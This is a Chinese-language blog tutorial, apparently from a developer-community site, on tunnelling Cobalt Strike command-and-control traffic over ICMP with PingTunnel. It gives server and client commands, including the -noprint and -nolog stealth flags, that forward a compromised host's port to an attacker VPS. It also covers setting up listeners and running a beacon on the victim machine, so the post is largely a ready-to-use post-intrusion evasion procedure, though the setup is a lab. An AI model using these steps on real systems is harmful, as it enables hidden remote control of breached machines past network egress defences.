利用PingTunnel上线cobalt strike

简介: 利用PingTunnel上线cobalt strike

pingtunnel 是tcp/udp/sock5 流量伪装成icmp流量进行转发的工具

640.png

安装服务端

  • 首先准备好一个具有公网 ip 的服务器,假定域名或者公网 ip 是www.yourserver.com
  • 从releases下载对应的安装包,如 pingtunnel_linux64.zip,然后解压,以root权限执行
sudo wget (最新release的下载链接)
sudo unzip pingtunnel_linux64.zip
sudo ./pingtunnel -type server

(可选)关闭系统默认的 ping

    echo 1 >/proc/sys/net/ipv4/icmp_echo_ignore_all

    安装客户端

    • 从releases下载对应的安装包,如 pingtunnel_windows64.zip,解压
    • 然后用管理员权限运行,不同的转发功能所对应的命令如下
    • 如果看到有 ping pong 的 log,说明连接正常

    转发 sock5

    pingtunnel.exe -type client -l :4455 -s www.yourserver.com -sock5 1

    转发 tcp

      pingtunnel.exe -type client -l :4455 -s www.yourserver.com -t www.yourserver.com:4455 -tcp 1

      转发 udp

        pingtunnel.exe -type client -l :4455 -s www.yourserver.com -t www.yourserver.com:4455

        Docker

        也可直接用docker启动,更方便。参数同上

        • server:
        docker run --name pingtunnel-server -d --privileged --network host --restart=always esrrhs/pingtunnel ./pingtunnel -type server -key 123456

        client:

        docker run --name pingtunnel-client -d --restart=always -p 1080:1080 esrrhs/pingtunnel ./pingtunnel -type c

        PingTunnelcobalt strike一起用

           这个实验主要想说明端口转发,假设场景拿下一台机器icmp出网只有1234端口出网。

        第一步在自己公网vps设置监听

        640.png

        在拿下客户机运行如下命令本地8001端口转发到公vps1234端口

        pingtunnel.exe -type client -l :8001 -s192.168.254.133 -t 192.168.254.133:1234 -tcp 1 - noprint 1 -nolog 1

        640.png

        在公网vps设置两个监听器一个是127.0.0.1 8001 一个是公网vps 1234

        640.png

        可以看到CS上反弹回来

        640.png

        监听器127.0.0.1生成beacon运行在被攻击机上


        640.png

        640.png

        192.168.254.133模拟的是公网vps

         640.png



        相关文章
        |
        2月前
        |
        存储 弹性计算
        租用阿里云服务器按小时如何收费?1小时收费标准说明
        阿里云服务器按小时收费,不同配置价格不同。例如经济型e实例2核2G每小时0.094元,计算型c9i实例2核4G每小时0.3873元,4核8G配置约0.77元/小时。价格因实例类型和资源配置而异,按量付费,先用后付。更多优惠可参与阿里云官方活动。
        906 1
        |
        安全 网络安全 Windows
        Windows应急响应-PcShare远控木马
        【10月更文挑战第3天】这段文档介绍了在Windows系统中应对PcShare远控木马的紧急响应步骤。用户因在非官方平台下载软件后疑似中招而求助排查。文档详细描述了从发现异常连接和服务、定位注册表项到彻底查杀木马的过程,并强调了重启后的二次检查。最后提醒应避免非官方渠道下载软件,保持系统更新,定期备份数据,并在必要时寻求专业帮助。
        375 11
        |
        弹性计算 应用服务中间件 异构计算
        阿里云服务器多少钱一小时?在哪查询1小时价格表?
        阿里云服务器按量付费模式下,2核2G配置的ECS经济型e实例每小时费用为0.094元。不同配置的实例价格各异,如2核4G配置的ECS经济型e实例每小时0.225元,4核8G配置的ECS通用算力型u1实例每小时0.702元。用户可通过阿里云官网查询具体价格。包年包月模式下,2核2G3M服务器99元/年,更加经济实惠。
        725 0
        |
        Ubuntu 网络安全 开发者
        CTF本地靶场搭建——GZ:CTF安装
        GZCTF是一个开源的网络安全竞技平台,由GZTimeWalker维护,提供环境供爱好者和专业人士通过解决CTF题目提升技能。本文档介绍了在Ubuntu 20.04上部署GZCTF的步骤,包括安装操作系统、配置清华镜像源、更新软件、安装Docker和docker-compose,以及根据GZCTF文档创建配置文件并启动服务。完成部署后,用户可在浏览器中看到GZCTF平台。
        |
        JSON Dart API
        Flutter dio http 封装指南说明
        本文介绍了如何实现一个通用、可重构的 Dio 基础类,包括单例访问、日志记录、常见操作封装以及请求、输出、报错拦截等功能。
        430 2
        Flutter dio http 封装指南说明
        |
        Java API 应用服务中间件
        Java一分钟之-JNDI:Java命名和目录接口
        【6月更文挑战第3天】JNDI,Java Naming and Directory Interface,是Java的API,用于访问命名和目录服务。本文聚焦JNDI常见问题和易错点:1) 初始化Context时需正确配置环境属性;2) 查找资源时确保名称与服务器配置一致;3) 别忘了导入JNDI库和妥善处理异常;4) 使用后记得关闭资源。理解JNDI并避免这些问题能提升应用的可维护性和灵活性。
        481 2
        |
        XML 安全 搜索推荐
        大数据之 Solr 集群搭建
        Solr是一个基于Java的高性能全文搜索服务器,扩展自Lucene,提供丰富查询语言和优化的查询性能。它支持通过HTTP接口以XML格式进行索引和搜索操作。在集群环境中,涉及解压软件包,配置环境变量,修改Zookeeper参数,文件分发,启动Solr和Zookeeper服务。建议使用非root用户启动,确保安全。启动后,通过WEB UI验证Solr集群部署是否成功,遇到问题如找不到solr.xml文件,可通过指定-Dsolr.solr.home参数解决。
        466 8
        |
        安全 Shell 数据安全/隐私保护
        【内网安全】 横向移动&IPC&AT&SC命令&Impacket套件&CS插件&全自动
        【内网安全】 横向移动&IPC&AT&SC命令&Impacket套件&CS插件&全自动
        407 0
        |
        存储 网络协议 安全
        详解抓包原理以及抓包工具whistle的用法
        详解抓包原理以及抓包工具whistle的用法
        914 1